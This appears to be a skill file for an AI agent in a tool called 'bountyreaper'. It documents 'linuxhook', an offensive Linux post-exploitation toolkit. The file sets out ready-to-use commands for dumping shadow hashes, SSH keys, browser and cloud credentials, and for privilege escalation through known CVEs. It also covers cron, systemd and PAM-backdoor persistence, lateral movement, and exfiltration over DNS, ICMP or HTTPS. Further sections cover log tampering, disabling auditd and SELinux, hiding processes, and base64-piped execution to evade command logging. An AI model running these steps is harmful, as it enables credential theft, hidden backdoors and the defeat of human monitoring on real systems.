linux-postexploit
Linux post-exploitation — credential harvesting, privilege escalation, persistence, lateral movement, evasion, exfiltration, and network attacks with multi-exec fallback (bash/sh/python3/perl/busybox)
SKILL.md.bountyreaper/skill/linux-postexploit/SKILL.md
GitHubLinux Post-Exploitation Methodology
Linux post-exploitation uses native tools and scripting for credential harvesting, privilege escalation, persistence, lateral movement, defense evasion, data exfiltration, and network attacks. After gaining a shell on a Linux target, these 118 programs across 8 categories provide comprehensive offensive capabilities — from /etc/shadow extraction to kernel exploit checks, from cron/systemd persistence to DNS tunnel exfiltration, from SELinux/AppArmor bypass to ARP spoofing.
Multi-Exec Engine
All 118 programs support multiple execution methods with automatic fallback:
| Method | Engine | When to Use |
|---|---|---|
bash |
GNU Bash (default) | Full bash access, most compatible |
sh |
POSIX sh | Bash unavailable, minimal environments |
python3 |
Python 3 | Complex operations, memfd stealth |
perl |
Perl | Legacy systems, regex-heavy operations |
busybox |
BusyBox | Embedded/minimal Linux, containers |
auto |
Auto-detect best | Unknown environment — runs detect_env |
linuxhook shadow_dump --exec sh
linuxhook kernel_exploit_check --exec auto
Stealth Modes
| Mode | Technique | Use Case |
|---|---|---|
base64 |
echo ENCODED | base64 -d | bash |
Bypass string-based command logging |
memfd |
Python3 memfd_create fileless exec |
No file touches disk, bypasses file monitoring |
shm |
/dev/shm tmpfs execution |
Fast tmpfs execution, auto-cleanup |
linuxhook shadow_dump --stealth base64
linuxhook cron_persist --stealth memfd --command CMD
Prerequisites
Before deploying linuxhook tools, verify:
- Environment detection — run
linuxhook detect_envFIRST to determine available tools and recommended exec method - Access level — check root/sudo status; most credential and persistence operations require elevated privileges
- Security frameworks — run
linuxhook security_frameworkto assess SELinux, AppArmor, seccomp, and audit status - Container check — run
linuxhook container_detectto verify you're on the host, not in a container
# Step 0 — environment detection (ALWAYS run first)
linuxhook detect_env
# Step 1 — stealth capability check
linuxhook stealth_check_linux
Kill Chain Phases
Phase 1 — Reconnaissance
Comprehensive system and environment assessment.
| Action | Command | Purpose |
|---|---|---|
| Environment detect | linuxhook detect_env |
ALWAYS run first — exec methods, root status, kernel, security frameworks |
| Full recon | linuxhook local_recon_linux |
All-in-one system/user/network/process/security scan |
| System info | linuxhook system_info --verbose |
Hostname, kernel, CPU, memory, uptime, environment |
| Process enum | linuxhook process_enum |
Running processes, security tools, monitoring agents |
| Network enum | linuxhook network_enum |
Interfaces, routes, DNS, connections, iptables rules |
| User enum | linuxhook user_enum |
Users, groups, sudo members, SSH keys, home dirs |
| Service enum | linuxhook service_enum |
Systemd units, init.d scripts, daemons |
| Package enum | linuxhook package_enum --security-only |
Security-relevant packages and CVE candidates |
| Container detect | linuxhook container_detect |
Docker/LXC/K8s/Podman/WSL detection |
| Security framework | linuxhook security_framework |
SELinux, AppArmor, seccomp, PAM, audit status |
| Interesting files | linuxhook interesting_files --deep |
SUID/SGID, world-writable, configs, backups, keys |
| Mount enum | linuxhook mount_enum |
Filesystems, NFS/CIFS, mount options (nosuid/noexec) |
| Kernel modules | linuxhook kernel_module_enum |
Loaded modules, security modules, rootkit indicators |
| Stealth check | linuxhook stealth_check_linux |
Test all exec methods and stealth modes |
Phase 2 — Credential Harvesting
Extract credentials from multiple sources.
| Action | Command | Purpose |
|---|---|---|
| Shadow dump | linuxhook shadow_dump |
/etc/shadow hash extraction and analysis |
| SSH keys | linuxhook ssh_key_harvest |
SSH private keys from all users |
| History secrets | linuxhook bash_history_secrets |
Passwords/tokens from shell history |
| GNOME Keyring | linuxhook gnome_keyring_dump |
GNOME Keyring stored passwords |
| KWallet | linuxhook kwallet_dump |
KDE Wallet stored passwords |
| Browser creds | linuxhook browser_creds_linux --browser all |
Chrome/Firefox saved passwords and cookies |
| Environment | linuxhook env_secrets |
API keys/tokens from /proc/*/environ |
| Process memory | linuxhook proc_memory_harvest |
Credentials from sshd/sudo/su process memory |
| GPG keys | linuxhook gpg_key_extract |
GPG private keys and passphrases |
| Cloud creds | linuxhook cloud_cred_harvest |
AWS/GCP/Azure credential files and metadata |
| Docker creds | linuxhook docker_config_creds |
Docker registry auth tokens |
| Git creds | linuxhook git_cred_harvest |
Git credentials, GitHub/GitLab tokens |
| WiFi creds | linuxhook wifi_creds_nm |
NetworkManager WiFi passwords |
| Kerberos | linuxhook kerberos_keytab |
Keytab files and ccache tickets |
| Database creds | linuxhook db_cred_harvest |
MySQL/PostgreSQL/MongoDB/Redis credentials |
| VNC password | linuxhook vnc_password |
VNC password files (DES-encrypted, trivially reversible) |
| Mail spool | linuxhook mail_spool_harvest |
Credentials in email (password resets, tokens) |
| Netrc | linuxhook netrc_harvest |
Plaintext .netrc FTP/HTTP credentials |
| LDAP creds | linuxhook ldap_cred_harvest |
LDAP bind passwords from configs |
| Credential scan | linuxhook credential_files_scan --deep |
Broad filesystem credential file discovery |
Phase 3 — Privilege Escalation
Escalate from standard user to root via 25 techniques.
| Action | Command | Purpose |
|---|---|---|
| Sudo misconfig | linuxhook sudo_misconfig |
Sudoers analysis, NOPASSWD, GTFOBins |
| SUID/SGID scan | linuxhook suid_sgid_scan |
SUID/SGID binaries with GTFOBins matching |
| Capabilities | linuxhook capabilities_abuse |
Dangerous capabilities (cap_setuid, cap_sys_admin) |
| Cron privesc | linuxhook cron_privesc |
Writable cron scripts, PATH hijack |
| NFS root squash | linuxhook nfs_no_root_squash |
NFS no_root_squash SUID escalation |
| PATH hijack | linuxhook path_hijack |
Writable PATH directories for root scripts |
| LD_PRELOAD | linuxhook ld_preload_abuse |
LD_PRELOAD env_keep and ld.so.preload |
| Kernel exploits | linuxhook kernel_exploit_check |
DirtyPipe, DirtyCow, PwnKit, OverlayFS, netfilter |
| Writable passwd | linuxhook writable_passwd |
Add root user to writable /etc/passwd |
| PwnKit | linuxhook pkexec_cve |
CVE-2021-4034 pkexec local privesc |
| Systemd units | linuxhook systemd_unit_abuse |
Writable service files, ExecStart override |
| D-Bus exploit | linuxhook dbus_exploit |
D-Bus services with permissive policies |
| pip setup abuse | linuxhook pip_setup_abuse |
sudo pip install code execution |
| Shared lib hijack | linuxhook shared_lib_hijack |
RPATH/RUNPATH library hijacking |
| logrotate race | linuxhook logrotate_race |
CVE-2016-1247 log symlink race |
| Writable services | linuxhook writable_service_bin |
Root services with writable binaries |
| Polkit bypass | linuxhook polkit_bypass |
CVE-2021-3560, CVE-2021-4034 |
| Snap privesc | linuxhook snap_privesc |
DirtySnap CVE-2022-3328 |
| Docker escape | linuxhook docker_group_escape |
Docker group → root via host mount |
| LXD escape | linuxhook lxd_group_escape |
LXD group → root via container privesc |
| Python lib hijack | linuxhook python_lib_hijack |
Writable sys.path, PYTHONPATH injection |
| MOTD abuse | linuxhook motd_abuse |
Writable /etc/update-motd.d/ scripts |
| Wildcard injection | linuxhook wildcard_injection |
tar/rsync/chown wildcard in cron/scripts |
| MySQL UDF | linuxhook mysql_udf |
MySQL UDF → system command execution |
| ptrace scope | linuxhook ptrace_scope_check |
Yama ptrace_scope restrictions |
Phase 4 — Persistence
Establish persistent access via 22 mechanisms.
| Action | Command | Purpose |
|---|---|---|
| Cron | linuxhook cron_persist --command CMD |
Crontab or /etc/cron.d/ persistence |
| Systemd | linuxhook systemd_persist --command CMD --name NAME |
Systemd service/timer auto-start |
| Bashrc | linuxhook bashrc_persist --command CMD |
Shell RC file injection |
| SSH keys | linuxhook ssh_authorized_keys --key PUBKEY |
SSH authorized key injection |
| ld.so.preload | linuxhook ld_so_preload --library PATH |
System-wide library injection |
| SysVinit | linuxhook sysvinit_persist --command CMD |
/etc/init.d/ script persistence |
| at job | linuxhook at_job_persist --command CMD --time TIME |
Delayed one-time execution |
| udev rules | linuxhook udev_rules_persist --command CMD |
Device-event triggered execution |
| PAM backdoor | linuxhook pam_backdoor --password PASS |
Master password authentication bypass |
| MOTD | linuxhook motd_persist --command CMD |
Login-triggered root execution |
| XDG autostart | linuxhook xdg_autostart --command CMD |
Graphical session autostart |
| Git hooks | linuxhook git_hook_persist --command CMD --repo PATH |
Git operation hooks |
| Kernel module | linuxhook kernel_module_persist --module PATH |
Boot-persistent kernel module |
| APT hook | linuxhook apt_hook_persist --command CMD |
Execute on apt operations |
| dpkg trigger | linuxhook dpkg_trigger_persist --command CMD |
Execute on package operations |
| Socket activation | linuxhook socket_activation --command CMD --port PORT |
On-demand systemd socket service |
| User service | linuxhook user_service_persist --command CMD |
Rootless systemd user service |
| xinetd | linuxhook xinetd_persist --command CMD --port PORT |
On-connection service spawning |
| rc.local | linuxhook rc_local_persist --command CMD |
Legacy boot script execution |
| logrotate | linuxhook logrotate_persist --command CMD |
Log rotation hook execution |
| SSH RC | linuxhook ssh_rc_persist --command CMD |
Pre-shell SSH login execution |
| ld.so.conf | linuxhook ld_config_persist --library-path PATH |
Library search path injection |
Phase 5 — Lateral Movement
Move laterally using Linux infrastructure.
| Action | Command | Purpose |
|---|---|---|
| SSH pivot | linuxhook ssh_pivot --target HOST |
SSH key/password lateral movement |
| Ansible | linuxhook ansible_abuse |
Exploit Ansible for mass execution |
| Puppet | linuxhook puppet_abuse |
Exploit Puppet agent/master trust |
| Salt | linuxhook salt_abuse |
Exploit SaltStack master→minion |
| NFS mount | linuxhook nfs_mount_attack --target HOST |
Mount NFS exports for file access |
| rsync | linuxhook rsync_exploit --target HOST |
Exploit anonymous rsync access |
| SSH tunnel | linuxhook ssh_tunnel --target HOST --type dynamic |
SOCKS/local/remote SSH tunnels |
| socat tunnel | linuxhook socat_tunnel --listen PORT --connect HOST:PORT |
TCP/UDP/SSL tunnels |
| Internal scan | linuxhook internal_scan --target CIDR |
Ping sweep and port scan |
| Proxychains | linuxhook proxychains_setup --proxy HOST:PORT |
Configure proxychains for tunneling |
Phase 6 — Defense Evasion
Evade monitoring and detection.
| Action | Command | Purpose |
|---|---|---|
| Log tamper | linuxhook log_tamper |
Surgical log entry removal |
| History clear | linuxhook history_clear |
Shell history cleanup |
| Timestomp | linuxhook timestomp --target PATH --reference REF |
Modify file timestamps |
| auditd evade | linuxhook auditd_evade --action check |
Disable/modify audit subsystem |
| SELinux bypass | linuxhook selinux_bypass --action check |
Set permissive, exploit domains |
| AppArmor bypass | linuxhook apparmor_bypass --action check |
Set complain mode, disable profiles |
| Rootkit detect | linuxhook rootkit_detect --deep |
Detect existing rootkits and hooks |
| Process hide | linuxhook process_hide --pid PID |
Hide processes from enumeration |
| File hide | linuxhook file_hide --path PATH |
Hide files from directory listings |
| Network hide | linuxhook network_hide --port PORT |
Hide network connections |
| Syslog manipulate | linuxhook syslog_manipulate --action filter |
Redirect/filter syslog entries |
| Stealth check | linuxhook stealth_check_linux |
Verify stealth modes work on target |
Phase 7 — Data Exfiltration
Stage and exfiltrate data through multiple channels.
| Action | Command | Purpose |
|---|---|---|
| Stage data | linuxhook data_stage --path PATH |
Find, compress, encrypt sensitive files |
| DNS tunnel | linuxhook dns_tunnel_exfil --file PATH --domain DOMAIN |
Exfil via DNS subdomain encoding |
| ICMP exfil | linuxhook icmp_exfil --file PATH --target IP |
Exfil via ICMP echo payload |
| Covert channel | linuxhook covert_channel --type timing --target HOST |
Timing/storage/protocol covert channels |
| HTTPS exfil | linuxhook https_exfil --file PATH --url URL |
POST data over TLS |
| Artifact enum | linuxhook artifact_enum |
Enumerate forensic artifacts from engagement |
| Steganography | linuxhook steganography_exfil --file PATH --cover IMAGE |
Hide data in image/audio files |
Phase 8 — Network Attacks
Network-level attacks from compromised host.
| Action | Command | Purpose |
|---|---|---|
| ARP spoof | linuxhook arp_spoof --target IP --gateway IP |
ARP cache poisoning for MITM |
| DNS spoof | linuxhook dns_spoof --domain DOMAIN --ip IP |
DNS response spoofing |
| Packet capture | linuxhook packet_capture --interface eth0 --duration 60 |
Traffic capture with BPF filters |
| Port scan | linuxhook port_scan_native --target HOST --ports 1-1024 |
Native port scanning (no nmap needed) |
| MITM proxy | linuxhook mitm_proxy --port 8080 |
Transparent proxy for interception |
| Responder | linuxhook responder_linux --interface eth0 |
LLMNR/NBT-NS hash capture |
| Firewall enum | linuxhook firewall_enum |
iptables/nftables/ufw/firewalld rules |
| Traffic redirect | linuxhook traffic_redirect --src-port 80 --dst HOST:8080 |
iptables DNAT/SNAT forwarding |
| WiFi attack | linuxhook wifi_attack --action scan |
Wireless scanning, deauth, handshake capture |
Phase 9 — Cleanup (MANDATORY)
Always run cleanup before leaving a target.
linuxhook cleanup_linux
Removes BountyReper artifacts: clears logs, removes persistence mechanisms, restores modified configs, cleans temp files.
Detection Considerations
Linux post-exploitation tools are detectable by:
- auditd — syscall monitoring, file access, process execution
- SELinux/AppArmor — mandatory access control enforcement
- AIDE/Tripwire — file integrity monitoring
- syslog/journald — authentication logs, system events
- Falco/Sysdig — runtime security monitoring
- OSSEC/Wazuh — host-based intrusion detection
- eBPF-based tools — kernel-level monitoring (Cilium, Tetragon)
Program Reference
| Program | Technique | MITRE ATT&CK |
|---|---|---|
| shadow_dump | /etc/shadow hash extraction | T1003.008 — /etc/passwd and /etc/shadow |
| ssh_key_harvest | SSH private key collection | T1552.004 — Private Keys |
| bash_history_secrets | Shell history credential extraction | T1552.003 — Bash History |
| gnome_keyring_dump | GNOME Keyring extraction | T1555.001 — Keychain |
| browser_creds_linux | Browser credential extraction | T1555.003 — Credentials from Web Browsers |
| env_secrets | Environment variable secrets | T1552.001 — Credentials In Files |
| proc_memory_harvest | Process memory credential harvesting | T1003 — OS Credential Dumping |
| cloud_cred_harvest | Cloud provider credential files | T1552.001 — Credentials In Files |
| sudo_misconfig | Sudo misconfiguration analysis | T1548.003 — Sudo and Sudo Caching |
| suid_sgid_scan | SUID/SGID binary exploitation | T1548.001 — Setuid and Setgid |
| capabilities_abuse | Linux capabilities exploitation | T1548.001 — Setuid and Setgid |
| kernel_exploit_check | Kernel CVE assessment | T1068 — Exploitation for Privilege Escalation |
| docker_group_escape | Docker group privilege escalation | T1611 — Escape to Host |
| cron_persist | Cron-based persistence | T1053.003 — Cron |
| systemd_persist | Systemd service persistence | T1543.002 — Systemd Service |
| ssh_authorized_keys | SSH key persistence | T1098.004 — SSH Authorized Keys |
| pam_backdoor | PAM authentication backdoor | T1556.003 — Pluggable Authentication Modules |
| ssh_pivot | SSH lateral movement | T1021.004 — SSH |
| ansible_abuse | Ansible infrastructure abuse | T1072 — Software Deployment Tools |
| log_tamper | Log entry manipulation | T1070.002 — Clear Linux or Mac System Logs |
| history_clear | Shell history removal | T1070.003 — Clear Command History |
| timestomp | File timestamp modification | T1070.006 — Timestomp |
| auditd_evade | Audit system evasion | T1562.001 — Disable or Modify Tools |
| selinux_bypass | SELinux bypass | T1562.001 — Disable or Modify Tools |
| rootkit_detect | Rootkit detection | T1014 — Rootkit |
| dns_tunnel_exfil | DNS-based data exfiltration | T1048.001 — Exfiltration Over Symmetric Encrypted Non-C2 Protocol |
| arp_spoof | ARP cache poisoning | T1557.002 — ARP Cache Poisoning |
| packet_capture | Network traffic capture | T1040 — Network Sniffing |
| cleanup_linux | Artifact removal | T1070 — Indicator Removal |